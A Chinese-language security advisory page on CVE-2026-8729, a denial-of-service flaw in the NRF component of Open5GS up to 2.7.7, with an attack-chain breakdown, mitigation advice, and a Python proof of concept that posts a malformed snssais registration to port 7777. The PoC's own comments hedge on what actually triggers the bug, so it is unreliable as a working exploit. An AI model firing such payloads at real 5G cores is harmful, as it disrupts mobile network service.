IPBUF安全漏洞报告
English
CVE-2026-8729 CVSS 4.3 中危

CVE-2026-8729 Open5GS NRF组件拒绝服务漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8729
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务DoSOpen5GS5G核心网NRFCVE-2026-8729

漏洞概述

Open5GS 是一个用于 4G/5G 移动核心网的开源项目。在 Open5GS 版本 2.7.7 及之前版本中,其 NRF(网络存储库功能)组件存在安全漏洞。该漏洞位于 /lib/sbi/message.c 库文件中,由于对参数处理不当,远程攻击者可以通过操作 service-names/snssais 参数触发拒绝服务攻击。该攻击无需用户交互,且仅需低权限即可执行,成功利用会导致目标服务不可用。目前该漏洞利用代码已公开,且厂商尚未做出响应。

技术细节

该漏洞的根源在于 Open5GS 的 NRF 组件在处理 SBI(服务化接口)消息时,对 service-names/snssais 参数的解析逻辑存在缺陷。具体来说,/lib/sbi/message.c 文件中的相关函数在处理这些参数时,未对输入数据进行严格的边界检查或异常处理。当攻击者发送包含特定构造的 service-names 或 snssais(单网络切片选择辅助信息)字段的恶意请求时,NRF 组件在解析过程中会触发逻辑错误,导致进程崩溃或挂起,从而造成拒绝服务。由于 NRF 是 5G 核心网的关键网络功能,负责管理网络切片和服务发现,其瘫痪将严重影响核心网的运行。攻击者只需具备网络访问权限和低级别权限,即可远程触发该漏洞,无需受害者进行任何交互。

攻击链分析

STEP 1
信息收集
攻击者扫描网络,识别出运行受影响版本 Open5GS 的目标服务器,特别是 NRF 组件暴露的端口。
STEP 2
构造恶意请求
攻击者利用漏洞细节,构造包含特殊格式 service-names/snssais 参数的 SBI 消息(HTTP 请求)。
STEP 3
发送攻击载荷
攻击者将恶意请求发送至目标 NRF 组件的接口。
STEP 4
触发漏洞
目标系统在 /lib/sbi/message.c 中解析参数时发生错误,导致 NRF 服务进程崩溃或停止响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # PoC for CVE-2026-8729: Open5GS NRF DoS via manipulated snssais # Target: Open5GS NRF component (usually runs on port 7777) def trigger_dos(target_ip, target_port): url = f"http://{target_ip}:{target_port}/nnrf-nfm/v1/nf-instances" # Malformed payload targeting the snssais parsing malicious_payload = { "nfInstanceId": "test-instance", "nfType": "AMF", "serviceNames": ["nudm-sdm"], "snssais": [ { "sst": 1, "sd": "000000" # Manipulation might involve invalid length or format # Or sending a deeply nested structure to cause stack overflow/crash }, # Repeated or malformed entries may trigger the bug in message.c {"sst": 1, "sd": "overflow-trigger"} ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending payload to {url}...") response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"Response status code: {response.status_code}") print("If the service crashes, the DoS was successful.") except Exception as e: print(f"Error or potential crash occurred: {e}") if __name__ == "__main__": # Replace with actual target IP trigger_dos("127.0.0.1", 7777)

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
在官方发布补丁之前,建议管理员严格限制对 Open5GS NRF 端口(默认为 7777)的外部网络访问,仅允许内部网元进行通信。同时,应密切监控系统日志,一旦发现因 message.c 导致的崩溃,需立即重启服务并检查传入的异常流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表